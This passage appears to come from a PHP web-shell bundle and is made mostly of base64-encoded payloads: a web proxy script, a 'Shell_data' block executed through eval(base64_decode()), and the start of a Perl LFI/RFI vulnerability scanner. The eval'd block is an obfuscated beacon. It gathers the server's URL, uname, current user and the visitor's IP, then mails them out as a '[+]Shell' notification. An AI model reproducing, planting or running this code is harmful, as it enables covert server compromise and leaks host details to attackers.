DT09LX1BSRUYuJz0oW14mXSopW1xzXFNdKiQvaScsJ1wxJywkcmVmdXJsb2JqLT5nZXRfcGF0aCgpKSk7ICMqDQp9DQplbHNlICRyZWZlcmVyPW51bGw7DQoNCiMkZ2V0a2V5cz1hcnJheV9rZXlzKCRfR0VUKTsNCiNmb3JlYWNoKCRnZXRrZXlzIGFzICRnZXR2YXIpeyBpZighaW5fYXJyYXkoJGdldHZhciwkcHJveHlfdmFyaWFibGVzKSl7ICRjdXJyX3VybC49KHN0cnBvcygkY3Vycl91cmwsJz8nKT09PWZhbHNlPyc/JzonJicpLiIkZ2V0dmFyPSIudXJsZW5jb2RlKCRfR0VUWyRnZXR2YXJdKTsgfSB9DQoNCmdsb2JhbCAkcG9zdF92YXJzOw0KJHBvc3RfdmFycz1udWxsOw0KJHBvc3RrZXlzPWFycmF5X2tleXMoJF9QT1NUKTsNCmZvcmVhY2goJHBvc3RrZXlzIGFzICRwb3N0a2V5KXsNCglpZighaW5fYXJyYXkoJHBvc3RrZXksJHByb3h5X3ZhcmlhYmxlcykpew0KCQlpZighaXNfYXJyYXkoJF9QT1NUWyRwb3N0a2V5XSkpDQoJCQkkcG9zdF92YXJzLj0oJHBvc3RfdmFycyE9bnVsbD8nJic6bnVsbCkuaHR0cGNsZWFuKCRwb3N0a2V5KS4nPScuaHR0cGNsZWFuKCRfUE9TVFskcG9zdGtleV0pOw0KCQllbHNlew0KCQkJZm9yZWFjaCgkX1BPU1RbJHBvc3RrZXldIGFzICRwb3N0dmFsKQ0KCQkJCSRwb3N0X3ZhcnMuPSgkcG9zdF92YXJzIT1udWxsPycmJzpudWxsKS5odHRwY2xlYW4oJHBvc3RrZXkpLiclNUIlNUQ9Jy5odHRwY2xlYW4oJHBvc3R2YWwpOw0KCQl9DQoJfQ0KfQ0KdW5zZXQoJHBvc3RrZXlzKTsNCg0KIyB9fX0NCg0KIyBQUk9YWSBFWEVDVVRJT046IEROUyBDQUNIRSB7e3sNCg0KaWYoIWlzc2V0KCRfU0VTU0lPTlsnRE5TX0NBQ0hFX0FSUkFZJ10pKSAkZG5zX2NhY2hlX2FycmF5PWFycmF5KCk7DQplbHNlICRkbnNfY2FjaGVfYXJyYXk9JF9TRVNTSU9OWydETlNfQ0FDSEVfQVJSQVknXTsNCg0KIyBwdXJnZSBvbGQgcmVjb3JkcyBmcm9tIEROUyBjYWNoZQ0Kd2hpbGUobGlzdCgka2V5LCRlbnRyeSk9ZWFjaCgkZG5zX2NhY2hlX2FycmF5KSl7DQoJaWYoJGVudHJ5Wyd0aW1lJ108dGltZSgpLShETlNfQ0FDSEVfRVhQSVJFKjYwKSkgdW5zZXQoJGRuc19jYWNoZV9hcnJheVska2V5XSk7DQp9DQoNCiMgfX19DQoNCiMgUFJPWFkgRVhFQ1VUSU9OOiBQQUdFIFJFVFJJRVZBTCB7e3sNCg0KJHBhZ2VzdHVmZj1nZXRwYWdlKCRjdXJyX3VybCk7DQokYm9keT0kcGFnZXN0dWZmWzBdOw0KDQokdGJvZHk9dHJpbSgkYm9keSk7DQppZigoJHRib2R5ezB9PT0nIicgJiYgc3Vic3RyKCR0Ym9keSwtMSk9PSciJykgfHwgKCR0Ym9keXswfT09J1wnJyAmJiBzdWJzdHIoJHRib2R5LC0xKT09J1wnJykpew0KCWVjaG8gJGJvZHk7DQoJZmluaXNoKCk7DQp9DQp1bnNldCgkdGJvZHkpOw0KDQokY3Vycl91cmw9JHBhZ2VzdHVmZlsxXTsNCmRlZmluZSgnUEFHRUNPT0tfUFJFRklYJywkcGFnZXN0dWZmWzJdKTsNCnVuc2V0KCRwYWdlc3R1ZmYpOw0KZGVmaW5lKCdDT05URU5UX1RZUEUnLHByZWdfcmVwbGFjZSgnL14oW2EtejAtOVwtXC9dKykuKiQvaScsJ1wxJywkaGVhZGVyc1snY29udGVudC10eXBlJ11bMF0pKTsgIyoNCg0KIyB9fX0NCg0KIyBQUk9YWSBFWEVDVVRJT046IFBBR0UgUEFSU0lORyB7e3sNCg0KaWYoc3RycG9zKCRib2R5LCc8YmFzZScpKXsNCgkkYmFzZT1wcmVnX3JlcGxhY2UoJy9eLionLkJBU0VfUkVHRVhQLicuKiQvaXMnLCdcMScsJGJvZHkpOw0KCWlmKCFlbXB0eSgkYmFzZSkgJiYgJGJhc2UhPSRib2R5ICYmICFlbXB0eSgkYmFzZXsxMDB9KSl7DQoJCSRib2R5PXByZWdfcmVwbGFjZSgnLycuQkFTRV9SRUdFWFAuJy9pJyxudWxsLCRib2R5KTsNCg0KCQkvL3ByZWdfbWF0Y2goJy9eKFsiXCddKS4qXDEkL2knLCRiYXNlKT4wDQoJCWlmKCgkYmFzZXswfT09JyInICYmIHN1YnN0cigkYmFzZSwtMSk9PSciJykgfHwgKCRiYXNlezB9PT0nXCcnICYmIHN1YnN0cigkYmFzZSwtMSk9PSdcJycpKQ0KCQkJJGJhc2U9c3Vic3RyKCRiYXNlLDEsc3RybGVuKCRiYXNlKS0yKTsgIyoNCgkJJGN1cnJfdXJsPSRiYXNlOw0KCX0NCgl1bnNldCgkYmFzZSk7DQp9DQoNCmdsb2JhbCAkY3Vycl91cmxvYmo7DQokY3Vycl91cmxvYmo9bmV3IGF1cmwoJGN1cnJfdXJsKTsNCg0KIyBQUk9YWSBFWEVDVVRJT046IFBBR0UgUEFSU0lORzogUEFSU0lORyBGVU5DVElPTlMge3t7DQoNCmZ1bmN0aW9uIHBhcnNlX2h0bWwoJHJlZ2V4cCwkcGFydG9wYXJzZSwkaHRtbCwkYWRkcHJveHksJGZyYW1pZnkpew0KCWdsb2JhbCAkY3Vycl91cmxvYmo7DQoJJG5ld2h0bWw9bnVsbDsNCgl3aGlsZShwcmVnX21hdGNoKCRyZWdleHAsJGh0bWwsJG1hdGNoYXJyLFBSRUdfT0ZGU0VUX0NBUFRVUkUpKXsNCgkJJG51cmw9c3Vycm9nYWZ5X3VybCgkbWF0Y2hhcnJbJHBhcnRvcGFyc2VdWzBdLCRjdXJyX3VybG9iaiwkYWRkcHJveHkpOw0KCQlpZigkZnJhbWlmeSkgJG51cmw9ZnJhbWlmeV91cmwoJG51cmwsJGZyYW1pZnkpOw0KCQkkYmVnaW49JG1hdGNoYXJyWyRwYXJ0b3BhcnNlXVsxXTsNCgkJJGVuZD0kbWF0Y2hhcnJbJHBhcnRvcGFyc2VdWzFdK3N0cmxlbigkbWF0Y2hhcnJbJHBhcnRvcGFyc2VdWzBdKTsNCgkJJG5ld2h0bWwuPXN1YnN0cl9yZXBsYWNlKCRodG1sLCRudXJsLCRiZWdpbik7DQoJCSRodG1sPXN1YnN0cigkaHRtbCwkZW5kLHN0cmxlbigkaHRtbCktJGVuZCk7DQoJfQ0KCSRuZXdodG1sLj0kaHRtbDsNCglyZXR1cm4gJG5ld2h0bWw7DQp9DQoNCmZ1bmN0aW9uIHJlZ3VsYXJfZXhwcmVzcygkcmVnZXhwX2FycmF5LCR0aGV2YXIpew0KCSMkcmVnZXhwX2FycmF5WzJdLj0nUyc7ICMgaW4gYmVuY2htYXJrcywgdGhpcyAnb3B0aW1pemF0aW9uJyBhcHBlYXJlZCB0byBub3QgZG8gYW55dGhpbmcgYXQgYWxsLCBvciBwb3NzaWJseSBldmVuIHNsb3cgdGhpbmdzIGRvd24NCglpZigkcmVnZXhwX2FycmF5WzBdPT0xKSAkbmV3dmFyPXByZWdfcmVwbGFjZSgkcmVnZXhwX2FycmF5WzJdLCRyZWdleHBfYXJyYXlbM10sJHRoZXZhcik7DQoJZWxzZWlmKCRyZWdleHBfYXJyYXlbMF09PTIpew0KCQkkYWRkcHJveHk9KGlzc2V0KCRyZWdleHBfYXJyYXlbNF0pPyRyZWdleHBfYXJyYXlbNF06dHJ1ZSk7DQoJCSRmcmFtaWZ5PShpc3NldCgkcmVnZXhwX2FycmF5WzVdKT8kcmVnZXhwX2FycmF5WzVdOmZhbHNlKTsNCgkJJG5ld3Zhcj1wYXJzZV9odG1sKCRyZWdleHBfYXJyYXlbMl0sJHJlZ2V4cF9hcnJheVszXSwkdGhldmFyLCRhZGRwcm94eSwkZnJhbWlmeSk7DQoJfQ0KCXJldHVybiAkbmV3dmFyOw0KfQ0KDQpmdW5jdGlvbiBwYXJzZV9hbGxfaHRtbCgkaHRtbCl7DQoJZ2xvYmFsICRyZWdleHBfYXJyYXlzOw0KDQoJaWYoQ09OVEVOVF9UWVBFIT0ndGV4dC9odG1sJyl7DQoJCWZvcihyZXNldCgkcmVnZXhwX2FycmF5cyk7bGlzdCgka2V5LCRhcnIpPWVhY2goJHJlZ2V4cF9hcnJheXMpOyl7DQoJCQlpZigka2V5PT1DT05URU5UX1RZUEUpew0KCQkJCWZvcmVhY2goJGFyciBhcyAkcmVnYXJyKXsNCgkJCQkJaWYoJHJlZ2Fycj09bnVsbCkgY29udGludWU7DQoJCQkJCSRodG1sPXJlZ3VsYXJfZXhwcmVzcygkcmVnYXJyLCRodG1sKTsNCgkJCQl9DQoJCQl9DQoJCX0NCgkJcmV0dXJuICRodG1sOw0KCX0NCg0KCSNpZighZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX3NjcmlwdHMnXSkpICRzcGxpdGFycj1hcnJheSgkaHRtbCk7DQoJJHNwbGl0YXJyPXByZWdfc3BsaXQoJy8oPCEtLSg/IVxbaWYpLio/LS0+fDxzdHlsZS4qPzxcL3N0eWxlPnw8c2NyaXB0Lio/PFwvc2NyaXB0PikvaXMnLCRodG1sLC0xLFBSRUdfU1BMSVRfREVMSU1fQ0FQVFVSRSk7DQoJdW5zZXQoJGh0bWwpOw0KDQoJLy9kZWZpbmUoJ1JFR0VYUF9TQ1JJUFRfT05FVkVOVCcsJyggb25bYS16XXszLDIwfT0oPzoiKD86W14iXSspInxcJyg/OlteXCddKylcJ3xbXiJcJyA+XVteID5dK1teIlwnID5dKSknKTsNCgkkZmlyc3RydW49dHJ1ZTsNCgkkZmlyc3Rqc3J1bj10cnVlOw0KCWZvcihyZXNldCgkcmVnZXhwX2FycmF5cyk7bGlzdCgka2V5LCRhcnIpPWVhY2goJHJlZ2V4cF9hcnJheXMpOyl7DQoJCWlmKCRrZXk9PSd0ZXh0L2phdmFzY3JpcHQnKSBjb250aW51ZTsNCg0KCQkvLyBPUFRJT04xOiB1c2UgT05MWSBpZiBubyBKYXZhc2NyaXB0IFJFR0VYUFMgYWZmZWN0IEhUTUwgc2VjdGlvbnMNCgkJLy8gYW5kIGFsbCBIVE1MIG1vZGlmeWluZyBKYXZhc2NyaXB0IFJFR0VYUFMgYXJlIHBlcmZvcm1lZCBhZnRlciBIVE1MIHJlZ2V4cHMNCgkJLy8gVGhpcyBnaXZlcyBhIHByZXR0eSBzaWduaWZpY2FudCBzcGVlZCBib29zdA0KCQkvLyBJZiB1c2VkLCBtYWtlIHN1cmUgIk9QVElPTjIiIGxpbmVzIGFyZSBjb21tZW50ZWQsIGFuZCBvdGhlciAiT1BUSU9OMSIgbGluZXMgQVJFTidUDQoJCWlmKCRmaXJzdGpzcnVuICYmICRrZXk9PSdhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQnKXsNCgkJCWlmKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfc2NyaXB0cyddKSkgYnJlYWs7DQoJCQkkc3BsaXRhcnIyPWFycmF5KCk7DQoJCQlmb3IoJGk9MDskaTxjb3VudCgkc3BsaXRhcnIpOyRpKz0yKXsNCgkJCQkkc3BsaXRhcnIyWyRpXT1wcmVnX3NwbGl0KCcvJy5SRUdFWFBfU0NSSVBUX09ORVZFTlQuJy9pcycsJHNwbGl0YXJyWyRpXSwtMSxQUkVHX1NQTElUX0RFTElNX0NBUFRVUkUpOw0KCQkJfQ0KCQl9DQoJCS8vIEVORCBPUFRJT04xDQoNCgkJIyBmaXJzdHJ1biByZW1vdmUgc2NyaXB0czogb248ZXZlbnQ+cyBhbmQgbm9zY3JpcHQgdGFnczsgYWxzbyByZW1vdmUgb2JqZWN0cw0KCQlpZigkZmlyc3RydW4gJiYgKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfc2NyaXB0cyddKSB8fCAhZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX29iamVjdHMnXSkpKXsNCgkJCWZvcigkaT0wOyRpPGNvdW50KCRzcGxpdGFycik7JGkrPTIpew0KCQkJCWlmKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfc2NyaXB0cyddKSkNCgkJCQkJJHNwbGl0YXJyWyRpXT1wcmVnX3JlcGxhY2UoJy8oPzonLlJFR0VYUF9TQ1JJUFRfT05FVkVOVC4nfDwuP25vc2NyaXB0PikvaXMnLG51bGwsJHNwbGl0YXJyWyRpXSk7DQoJCQkJaWYoIWVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9vYmplY3RzJ10pKQ0KCQkJCQkkc3BsaXRhcnJbJGldPXByZWdfcmVwbGFjZSgnLzwoZW1iZWR8b2JqZWN0KS4qPzxcL1wxPi9pcycsbnVsbCwkc3BsaXRhcnJbJGldKTsNCgkJCX0NCgkJfQ0KDQoJCWZvcmVhY2goJGFyciBhcyAkcmVnZXhwX2FycmF5KXsNCgkJCWlmKCRyZWdleHBfYXJyYXk9PW51bGwpIGNvbnRpbnVlOw0KCQkJZm9yKCRpPTA7JGk8Y291bnQoJHNwbGl0YXJyKTskaSsrKXsNCg0KCQkJCSMgcGFyc2Ugc2NyaXB0cyBmb3Igb248ZXZlbnQ+cw0KCQkJCWlmKCRpJTI9PTAgJiYgaXNzZXQoJHNwbGl0YXJyMikgJiYgJHJlZ2V4cF9hcnJheVsxXT09Mil7IC8vIE9QVElPTjENCg0KCQkJCS8vIE9QVElPTjINCgkJCQkvL2lmKCRyZWdleHBfYXJyYXlbMV09PTIgJiYgJGklMj09MCl7IC8vIE9QVElPTjINCgkJCQkJLy8kc3BsaXRhcnIyWyRpXT1wcmVnX3NwbGl0KCcvKCBvblthLXpdezMsMjB9PSg/OiIoPzpbXiJdKykifFwnKD86W15cJ10rKVwnfFteIlwnID5dW14gPl0rW14iXCcgPl0pKS9pcycsJHNwbGl0YXJyWyRpXSwtMSxQUkVHX1NQTElUX0RFTElNX0NBUFRVUkUpOw0KCQkJCQkvLyBFTkQgT1BUSU9OMg0KDQoJCQkJCS8vaWYoY291bnQoJHNwbGl0YXJyMlskaV0pPDIpICRzcGxpdGFyclskaV09cmVndWxhcl9leHByZXNzKCRyZWdleHBfYXJyYXksJHNwbGl0YXJyWyRpXSk7IC8vIFVOUkVMQVRFRCBUTyBPUFRJT05TDQoJCQkJCWlmKGNvdW50KCRzcGxpdGFycjJbJGldKT4xKXsNCgkJCQkJCWZvcigkaj0xOyRqPGNvdW50KCRzcGxpdGFycjJbJGldKTskais9Mil7DQoJCQkJCQkJJGJlZ2luPXByZWdfcmVwbGFjZSgnL14oW149XSs9LikuKiQvaScsJ1wxJywkc3BsaXRhcnIyWyRpXVskal0pOw0KCQkJCQkJCSRxdW90ZT1zdWJzdHIoJGJlZ2luLC0xKTsNCgkJCQkJCQlpZigkcXVvdGUhPSciJyAmJiAkcXVvdGUhPSdcJycpew0KCQkJCQkJCQkkcXVvdGU9bnVsbDsNCgkJCQkJCQkJJGJlZ2luPXN1YnN0cigkYmVnaW4sMCwtMSk7DQoJCQkJCQkJfQ0KCQkJCQkJCSRjb2RlPXByZWdfcmVwbGFjZSgnL15bXj1dKz0nLigkcXVvdGU9PW51bGw/JyguKikkL2knOicuKC4qKS4kL2knKSwnXDEnLCRzcGxpdGFycjJbJGldWyRqXSk7DQoJCQkJCQkJaWYoc3Vic3RyKCRjb2RlLDAsMTEpPT0namF2YXNjcmlwdDonKXsNCgkJCQkJCQkJJGJlZ2luLj0namF2YXNjcmlwdDonOw0KCQkJCQkJCQkkY29kZT1zdWJzdHIoJGNvZGUsMTEpOw0KCQkJCQkJCX0NCgkJCQkJCQlpZigkZmlyc3Rqc3J1bikgJGNvZGU9Ijt7JGNvZGV9OyI7DQoJCQkJCQkJJHNwbGl0YXJyMlskaV1bJGpdPSRiZWdpbi5yZWd1bGFyX2V4cHJlc3MoJHJlZ2V4cF9hcnJheSwkY29kZSkuJHF1b3RlOw0KCQkJCQkJfQ0KCQkJCQkJLy8kc3BsaXRhcnJbJGldPWltcGxvZGUobnVsbCwkc3BsaXRhcnIyWyRpXSk7IC8vIE9QVElPTjINCgkJCQkJfQ0KCQkJCX0NCg0KCQkJCSMgcmVtb3ZlIHNjcmlwdHMNCgkJCQllbHNlaWYoJGZpcnN0cnVuICYmICFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfc2NyaXB0cyddKSAmJiBzdHJ0b2xvd2VyKHN1YnN0cigkc3BsaXRhcnJbJGldLDAsNykpPT0nPHNjcmlwdCcpDQoJCQkJCSRzcGxpdGFyclskaV09bnVsbDsNCg0KCQkJCSMgcGFyc2UgdmFsaWQgc3R1ZmYNCgkJCQllbHNlaWYoKCRpJTI9PTAgJiYgJHJlZ2V4cF9hcnJheVsxXT09MSkgfHwgKCRyZWdleHBfYXJyYXlbMV09PTIgJiYgc3RydG9sb3dlcihzdWJzdHIoJHNwbGl0YXJyWyRpXSwwLDcpKT09JzxzY3JpcHQnKSB8fCAoJGtleT09J3RleHQvY3NzJyAmJiBzdHJ0b2xvd2VyKHN1YnN0cigkc3BsaXRhcnJbJGldLDAsNikpPT0nPHN0eWxlJykpew0KCQkJCQkkc3BsaXRhcnJbJGldPXJlZ3VsYXJfZXhwcmVzcygkcmVnZXhwX2FycmF5LCRzcGxpdGFyclskaV0pOw0KCQkJCX0NCg0KCQkJCSMgc2NyaXB0IHB1cmdlIGNsZWFudXANCgkJCQlpZigkZmlyc3RydW4gJiYgZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX3NjcmlwdHMnXSkgJiYgc3RydG9sb3dlcihzdWJzdHIoJHNwbGl0YXJyWyRpXSwtOSkpPT0nPC9zY3JpcHQ+JyAmJiAhcHJlZ19tYXRjaCgnL15bXj5dKnNyYy9pJywkc3BsaXRhcnJbJGldKSl7DQoJCQkJCSRzcGxpdGFyclskaV09cHJlZ19yZXBsYWNlKCcvJy5FTkRfT0ZfU0NSSVBUX1RBRy4nJC9pJywnOycuQ09PS19QUkVGLicucHVyZ2UoKTsvLy0tPjwvc2NyaXB0PicsJHNwbGl0YXJyWyRpXSk7DQoJCQkJfQ0KDQoJCQl9DQoNCgkJCSRmaXJzdHJ1bj1mYWxzZTsNCgkJCWlmKCRmaXJzdGpzcnVuICYmICRrZXk9PSdhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQnKQ0KCQkJCSRmaXJzdGpzcnVuPWZhbHNlOw0KCQl9DQoJfQ0KDQoJLy8gT1BUSU9OMQ0KDQoJaWYoZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX3NjcmlwdHMnXSkpew0KCQlmb3IoJGk9MDskaTxjb3VudCgkc3BsaXRhcnIpOyRpKz0yKXsNCgkJCSRzcGxpdGFyclskaV09aW1wbG9kZShudWxsLCRzcGxpdGFycjJbJGldKTsNCgkJfQ0KCX0NCgkvLyBFTkQgT1BUSU9OMQ0KDQoJcmV0dXJuIGltcGxvZGUobnVsbCwkc3BsaXRhcnIpOw0KfQ0KDQojIH19fQ0KDQovLyRzdGFydHRpbWU9bWljcm90aW1lKHRydWUpOyAjIEJFTkNITUFSSw0KJGJvZHk9cGFyc2VfYWxsX2h0bWwoJGJvZHkpOw0KLy8kcGFyc2V0aW1lPW1pY3JvdGltZSh0cnVlKS0kc3RhcnR0aW1lOyAjIEJFTkNITUFSSw0KDQojIFBST1hZIEVYRUNVVElPTjogUEFHRSBQQVJTSU5HOiBQUk9YWSBIRUFERVJTL0pBVkFTQ1JJUFQge3t7DQoNCmlmKENPTlRFTlRfVFlQRT09J3RleHQvaHRtbCcpew0KCSRiaWdfaGVhZGVycz0nPG1ldGEgbmFtZT0icm9ib3RzIiBjb250ZW50PSJub2luZGV4LCBub2ZvbGxvdyIgLz4nLg0KCQkJKFBBR0VUWVBFX0lEPT09UEFHRVRZUEVfRlJBTUVEX1BBR0U/JzxiYXNlIHRhcmdldD0iX3RvcCI+JzpudWxsKS4NCgkJCSc8bGluayByZWw9InNob3J0Y3V0IGljb24iIGhyZWY9Iicuc3Vycm9nYWZ5X3VybCgkY3Vycl91cmxvYmotPmdldF9wcm90bygpLic6Ly8nLiRjdXJyX3VybG9iai0+Z2V0X3NlcnZlcm5hbWUoKS4nL2Zhdmljb24uaWNvJykuJyIgLz4nLg0KCQkJKGVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9zY3JpcHRzJ10pPw0KCQkJCSc8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgc3JjPSInLlRISVNfU0NSSVBULic/anNfZnVuY3MnLihQQUdFX0ZSQU1FRD8nX2ZyYW1lZCc6bnVsbCkuJyI+PC9zY3JpcHQ+Jy4NCgkJCQknPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iJy5USElTX1NDUklQVC4nP2pzX3JlZ2V4cHMnLihQQUdFX0ZSQU1FRD8nX2ZyYW1lZCc6bnVsbCkuJyI+PC9zY3JpcHQ+Jy4NCgkJCQknPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+Jy4NCgkJCQkvLyc8IS0tJy4NCgkJCQlDT09LX1BSRUYuJy5ET0NVTUVOVF9SRUZFUkVSPSInLihVUkxfRk9STT9zdHJfcmVwbGFjZSgnIicsJ1xcIicsJHJlZmVyZXIpOm51bGwpLiciOycuDQoJCQkJQ09PS19QUkVGLicuQ1VSUl9VUkw9Iicuc3RyX3JlcGxhY2UoJyInLCdcXCInLCRjdXJyX3VybG9iai0+Z2V0X3VybCgpKS4nIitsb2NhdGlvbi5oYXNoOycuQ09PS19QUkVGLicuZ2VuX2N1cnJfdXJsb2JqKCk7Jy4NCgkJCQlDT09LX1BSRUYuJy5MT0NBVElPTl9TRUFSQ0g9IicuKCRjdXJyX3VybG9iai0+Z2V0X3F1ZXJ5KCkhPW51bGw/Jz8nLnN0cl9yZXBsYWNlKCciJywnXFwiJywkY3Vycl91cmxvYmotPmdldF9xdWVyeSgpKTpudWxsKS4nIjsnLg0KCQkJCUNPT0tfUFJFRi4nLkxPQ0FUSU9OX0hPU1ROQU1FPSInLnN0cl9yZXBsYWNlKCciJywnXFwiJywkY3Vycl91cmxvYmotPmdldF9zZXJ2ZXJuYW1lKCkpLiciOycuDQoJCQkJQ09PS19QUkVGLicuTE9DQVRJT05fUE9SVD0iJy5zdHJfcmVwbGFjZSgnIicsJ1xcIicsJGN1cnJfdXJsb2JqLT5nZXRfcG9ydHZhbCgpKS4nIjsnLg0KCQkJCUNPT0tfUFJFRi4nLkVOQ1JZUFRfVVJMUz0nLmJvb2xfdG9fanMoRU5DUllQVF9VUkxTKS4nOycuDQoJCQkJQ09PS19QUkVGLicuRU5DUllQVF9DT09LUz0nLmJvb2xfdG9fanMoRU5DUllQVF9DT09LUykuJzsnLg0KCQkJCUNPT0tfUFJFRi4nLlVSTF9GT1JNPScuYm9vbF90b19qcyhVUkxfRk9STSkuJzsnLg0KCQkJCUNPT0tfUFJFRi4nLlBBR0VfRlJBTUVEPScuYm9vbF90b19qcyhQQUdFX0ZSQU1FRCkuJzsnLg0KCQkJCUNPT0tfUFJFRi4iLlVTRVJBR0VOVD1cInskdXNlcmFnZW50fVwiOyIuDQoJCQkJKFVSTF9GT1JNICYmIFBBR0VUWVBFX0lEPT1QQUdFVFlQRV9GUkFNRURfUEFHRT8naWYoJy5DT09LX1BSRUYuJy50aGVwYXJlbnQ9PScuQ09PS19QUkVGLicudGhldG9wKSAnLg0KCQkJCQlDT09LX1BSRUYuJy5ldmVudGlmeSgiJy4kY3Vycl91cmxvYmotPmdldF9wcm90bygpLiciLCInLiRjdXJyX3VybG9iai0+Z2V0X3NlcnZlcm5hbWUoKS4nIik7Jw0KCQkJCTpudWxsKS4NCgkJCQkvLycvLy0tPicuDQoJCQkJJzwvc2NyaXB0PicNCgkJCTpudWxsKQ0KCTsNCg0KCSRib2R5PXByZWdfcmVwbGFjZSgnLyg/Oig8KD86aGVhZHxib2R5KVtePl0qPil8KDwoPzpcL2hlYWR8bWV0YXxsaW5rfHNjcmlwdCkpKS9pJywiXFwxJGJpZ19oZWFkZXJzXFwyIiwkYm9keSwxKTsNCgl1bnNldCgkYmlnX2hlYWRlcnMpOw0KfQ0KZWxzZWlmKENPTlRFTlRfVFlQRT09J2FwcGxpY2F0aW9uL3gtamF2YXNjcmlwdCcgfHwgQ09OVEVOVF9UWVBFPT0ndGV4dC9qYXZhc2NyaXB0JykgJGJvZHkuPSc7Jy5DT09LX1BSRUYuJy5wdXJnZSgpOyc7DQoNCiMgfX19DQoNCiMgfX19DQoNCiMjIFJldHJpZXZlZCwgUGFyc2VkLCBBbGwgUmVhZHkgdG8gT3V0cHV0ICMjDQplY2hvICRib2R5Ow0KLy9lY2hvICd0b3RhbCB0aW1lOiAnLihtaWNyb3RpbWUodHJ1ZSktJHRvdHN0YXJ0dGltZSkuIjxiciAvPnBhcnNlIHRpbWU6IHskcGFyc2V0aW1lfSBzZWNvbmRzIi4oaXNzZXQoJG9wYXJzZXRpbWUpPyI8YnIgLz5vdGhlciB0aW1lIDE6IHskb3BhcnNldGltZX0gc2Vjb25kcyI6bnVsbCkuKGlzc2V0KCRvcGFyc2V0aW1lMik/IjxiciAvPm90aGVyIHRpbWUgMjogeyRvcGFyc2V0aW1lMn0gc2Vjb25kcyI6bnVsbCk7ICMgQkVOQ0hNQVJLDQoNCiMgfX19DQoNCmZpbmlzaCgpOw0KDQojIyMjIyMjIyMjIyMNCiMjIFRIRSBFTkQgIyMNCiMjIyMjIyMjIyMjIyMjDQojDQojIFZJTSBpcyB0aGUgaWRlYWwgd2F5IHRvIGVkaXQgdGhpcyBmaWxlLiAgQXV0b21hdGljIGZvbGRpbmcgb2NjdXJzIG1ha2luZyB0aGUNCiMgYmxvY2tzIG9mIGNvZGUgZWFzaWVyIHRvIHJlYWQgYW5kIG5hdmlnYXRlDQojIHZpbTpmb2xkbWV0aG9kPW1hcmtlcg0KIw0KIyMjIyMjIyMjIyMjIyMjIyMjID8+DQo=\";\r\n\$shell_data = \"JHZpc2l0Y291bnQgPSAkSFRUUF9DT09LSUVfVkFSU1sidmlzaXRzIl07IA0KaWYoICR2aXNpdGNvdW50ID09ICIiKSB7DQokdmlzaXRjb3VudCA9IDA7IA0KJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsgDQokd2ViID0gJF9TRVJWRVJbIkhUVFBfSE9TVCJdOyANCiRpbmogPSAkX1NFUlZFUlsiUkVRVUVTVF9VUkkiXTsgDQokdGFyZ2V0ID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7IA0KJHVuYW1lID0gcGhwX3VuYW1lKCk7DQokaWQgPSBnZXRfY3VycmVudF91c2VyKCk7DQokYm9keSA9ICIgWytdU2hlbGw6ICR0YXJnZXQgXG4gWytdSW5qZWN0b3I6ICR2aXNpdG9yIFxuIFsrXXVuYW1lIC1hOiAkdW5hbWUgXG4gWytdVXNlcjogJGlkIjsNCkBtYWlsKCIiLCJbeF0gaHR0cDovLyR0YXJnZXQgYnkgJHZpc2l0b3IiLCAiJGJvZHkiKTsNCn0gDQplbHNlIA0KeyAkdmlzaXRjb3VudDsgfSANCnNldGNvb2tpZSgidmlzaXRzIiwkdmlzaXRjb3VudCk7\"; eval(base64_decode(\$shell_data));\r\n\$fi=\"IyEvdXNyL2Jpbi9wZXJsIC13IA0KDQp1c2Ugc3RyaWN0OyANCnVzZSBGaWxlOjpGaW5kOyANCnVzZSBDd2Q7IA0KDQpteSAkc3Rkb3V0Q2hlY2sgPSAwOyANCm15ICRwcm9ncmFtSW5mbyA9IA0KJyANCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIA0KIyAgTG9jYWwgTEZJL1JGSSBTY2FubmVyIGJ5IFJvbW5vdXMgICAgICAgICAgICAgICMgDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIyANCiMgIFdpbGwgc2NhbiBsb2NhbCBQSFAgZmlsZXMgaW4gZGlyZWN0b3J5ICAgICAgICAjIA0KIyAgcGFzc2VkIGluIHRoZSBmaXJzdCBhcmd1bWVudCB0byB0aGUgc2NyaXB0ICAgICMgDQojICBmb3IgcG9zc2libGUgTEZJL1JGSSB2dWxuZXJhYmlsaXRpZXMuICAgICAgICAgIyANCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIA0KJzsgDQoNCnByaW50ICRwcm9ncmFtSW5mbzsgDQoNCm15ICRwcm9ncmFtVXNhZ2UgPSANCicgDQpVc2FnZTogJyAuICQwIC4gJyBESVJOQU1FICgtdyBmaWxlKSANClVzZSBgLXcgZmlsZWAgYXQgdGhlIGVuZCB0byB3cml0ZSB0byBgZmlsZWAgDQonOyANCg0KbXkgJHNlYXJjaERpcmVjdG9yeSA9ICRBUkdWWzBdOyANCg0KdW5sZXNzICgkc2VhcmNoRGlyZWN0b3J5KSANCnsgDQogIHByaW50ICRwcm9ncmFtVXNhZ2UgYW5kIGRpZSgiXG4iKTsgDQp9IA0KDQpteSAkY3VycmVudERpcmVjdG9ye